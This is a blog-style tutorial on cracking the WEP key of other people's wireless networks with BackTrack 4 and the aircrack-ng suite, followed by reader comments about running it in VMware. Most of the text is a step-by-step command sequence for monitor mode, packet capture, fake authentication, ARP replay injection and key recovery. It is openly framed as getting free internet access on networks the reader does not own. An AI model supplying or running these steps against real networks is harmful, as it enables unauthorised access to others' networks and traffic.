How To Hack WEP Encrypted Wireless Network

You may wonder that many wireless signals are around your environment, and you wish that some signals must be of without security enabled, so that you can connect and use the internet…….

Now be cool and you can also hack into others wireless and get access to the internet. FOLLOW THESE STEPS:

a) [search keyword: wireless hacking, how to hack wireless network, wireless hacking videos, wireless hacking software]

I find out the way I can hack is to capture all the packets that are moving to the router and dig the passkey out of those data packets. And the most easily to hack was WEP (Wireless Equivalent Privacy).

STEP 2>>> Collection of Necessary Software:

For that I need a BACKTRACK. Go to website and in the download tab download the file named backtrack4.iso. or start searching for backtrack4 torrent file.

STEP 3>>> Start The Hacking Journey:

1) Burn the (iso) file in to a DVD and restart your computer. Or make your pen drive bootable with backtrack 4.

2) Boot your computer through DVD /Pen drive and type “startx” and enter when you see a blue command in the console.

3) Wait for the Interface to start.

4) When you have the Interface started go to the console and type “/etc/init.d/networking start”

5) Now Check the name of Wireless Card type of your PC “airmon-ng” [ Wireless card Name: wlan0 ]

6) Now type “airmon-ng stop wlan0 [Wireless Card Name]” (which you have noted).

7) Now Configure the wireless card in monitor mode type “airmon-ng start wlan0 [Wireless Card Name]” (which you have noted).


    • airmon-ng
    • airodump-ng wlan0 [Wireless Card Name]” (which you have noted)
    • NOTE DOWN: BSSID, ESSID, Channel Number
    • CTRL+C

9) Now type “airodump-ng -w wep -c 6[channel number] –bssid [BSSID] wlan0 [wireless card name].

10)  Open a new Console.

11)  Type “aireplay-ng -1 0 –a [BSSID] wlan0[wireless card name].

12)  Open a new Console.

13)  Type “aireplay-ng -3 -b [BSSID] wlan0 [wireless card name]”.

14)  Go to the first console (1). You will see that you have started sending and receiving data from the wireless network, when the data packets reach 30,000.

15)  Type:

    • Ctrl + C
    • dir

Locate a file name with extension .cap

16)  Now aircrack-ng [filename][.cap]

FINALLY you will see in screen

Testing Keys

KEY FOUND as “98:00:01:00:11” [Your pass key is “9800010011”]

Restart your computer and eject the DVD and login to your OS and type the WEP key and get the access to the wireless network.


4 thoughts on “How To Hack WEP Encrypted Wireless Network

  1. bro.. m getting some sort of problem with BT 5.. actually no wifi adapter is detected by BT5.
    n m runnin it thru VMWARE.. whn “airmon-ng” is typed in terminal, interface,chipset and driver just shows nothing instead of specific driver and interface used!

  2. somewhere i read some comments on working it with internal wireless adapter on vmware… bt they dint mention any steps to do it.. (without the use the external wireless adapter!!) …perhaps bridging or any other way..
    can we write vmware file in disk or pendrive?? else hv to download iso image again!!!

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